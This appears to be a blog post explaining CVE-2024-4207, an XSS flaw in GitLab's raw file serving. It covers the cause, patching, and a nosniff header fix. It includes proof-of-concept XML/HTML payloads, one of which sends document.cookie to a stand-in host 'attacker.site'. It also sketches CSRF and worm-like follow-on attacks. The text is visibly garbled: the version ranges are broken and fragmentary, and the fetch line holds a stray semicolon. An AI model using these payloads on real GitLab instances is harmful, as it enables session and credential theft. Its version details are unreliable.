A recently discovered vulnerability, CVE-2024-4207, exposes GitLab users to a dangerous Cross-Site Scripting (XSS) attack. This flaw affects a wide range of GitLab versions, from the legacy 5.1 series up to 17..5, and the newer 17.1 and 17.2 versions before their latest patches. If left unpatched, attackers can exploit public or private repositories to execute malicious scripts in users' browsers. Below, I’ll walk you through exactly what this means, how the exploit works, and how you can check if your GitLab instance is vulnerable.

What Is CVE-2024-4207?

This vulnerability is a Cross-Site Scripting (XSS) bug rooted in how GitLab serves XML files from project repositories. If someone uploads a specially crafted XML file and an unsuspecting user views it in raw mode, the XML may actually render as HTML under the right browser circumstances. This means an attacker’s JavaScript can run as if it’s part of the trusted GitLab site — a serious risk for your account and even your organization.

17.2. through, but not including, 17.2.2

Reference:
- GitLab Security Release Blog
- CVE Record at NVD

Why Does This XSS Happen?

Most modern web applications set a response header called Content-Type to tell browsers how a file should be handled (for example, telling the browser “this is text, not code”). When you hit the “raw” button in GitLab to view a file such as test.xml, GitLab is supposed to treat it as plain text.

But CVE-2024-4207 occurs because under some conditions, GitLab fails to set the right headers, letting browsers guess the file type. If the XML file starts with an HTML tag (like <html> or a script), browsers may interpret it as real HTML, not just data.

If the file contains a <script> tag, for example, your browser will run it right away.

The Exploit, Step by Step

Let’s say you have write-access or discover a public repository, and you want to exploit this bug. Here’s a proof-of-concept (PoC) on how it works.

Create a Malicious XML File:

The file must look like XML, but actually contain HTML/JavaScript.

<!-- exploit.xml -->
<html>
  <body>
    <h1>Owned by XSS!</h1>
    <script>
      alert(document.domain); // Simple payload, could steal cookies, tokens, etc.
    </script>
  </body>
</html>

Upload the File:

Commit this exploit.xml file into any GitLab repository you control, or in a public project.

https://gitlab.example.com/yourgroup/yourrepo/-/raw/main/exploit.xml

Under Vulnerable Conditions:

If GitLab is not patched, and browser content sniffing occurs (common in Chrome/Edge/Firefox), your file will render as HTML instead of displaying code. Your JavaScript runs just as if it’s on the main GitLab domain!

Screenshot Example

> !screenshot of browser with alert box "gitlab.example.com"
(*Note: Replace with actual screenshot if reproducing in lab*)

- CSRF Attacks: They can make you send hidden requests, changing project settings, or even deleting repositories.
- Persistent Backdoors: If someone could sneak this XML file into a shared repo, every admin/dev who previews it could be compromised.
- Worm-Like Behavior: The script could find other users through GitLab’s API, sending them crafted notifications/comments linking to more exploits.

Let’s get practical. Here’s a one-liner XSS payload you might see

<html>
  <body>
    <script>
      fetch('https://attacker.site/steal?cookie='; + document.cookie);
    </script>
  </body>
</html>

When viewed “raw,” this silently sends your GitLab credentials to the attacker.

Go to Admin Area > Help > Version or run

gitlab-rake gitlab:env:info

17.2. – 17.2.1

then you are at risk.

2. Try the PoC

Create a file as shown above, upload, and open “raw.” If your JS runs, you’re vulnerable.

A safe, non-visual check

curl -I https://<your-gitlab>/group/repo/-/raw/main/exploit.xml

Look for

- Content-Type: text/plain or application/xml (SAFE)

Missing or wrong content type (DANGEROUS)

But beware: even if type looks right, browser may still “sniff” and render HTML.

17.2.2 or any version released after July 3, 2024

Patch notes: GitLab Security Release July 2024

Warn users to avoid viewing XML files in “raw” mode unless they trust the source.

- Set X-Content-Type-Options: nosniff on your reverse proxy (NGINX/Apache/HAProxy) to force browsers to obey Content-Type.

For NGINX

add_header X-Content-Type-Options "nosniff";

Background: What Makes This So Tricky?

- GitLab is source control. Millions of developers constantly upload and review files, and raw file mode is a common workflow.

Conclusion

CVE-2024-4207 is a classic example of how seemingly small mistakes in file serving can open huge security holes. Every major source code project — public or private — using GitLab should immediately patch and audit recent activity for suspicious XML files.

If you ever find an XSS vulnerability, always disclose responsibly per GitLab’s guidelines. And remember: “raw” doesn’t always mean safe!

References

- GitLab Security Release Announcement
- CVE-2024-4207 at NIST NVD
- Official GitLab Documentation
- OWASP XSS Exploit Guide

Timeline

Published on: 08/08/2024 11:15:13 UTC
Last modified on: 08/08/2024 13:04:18 UTC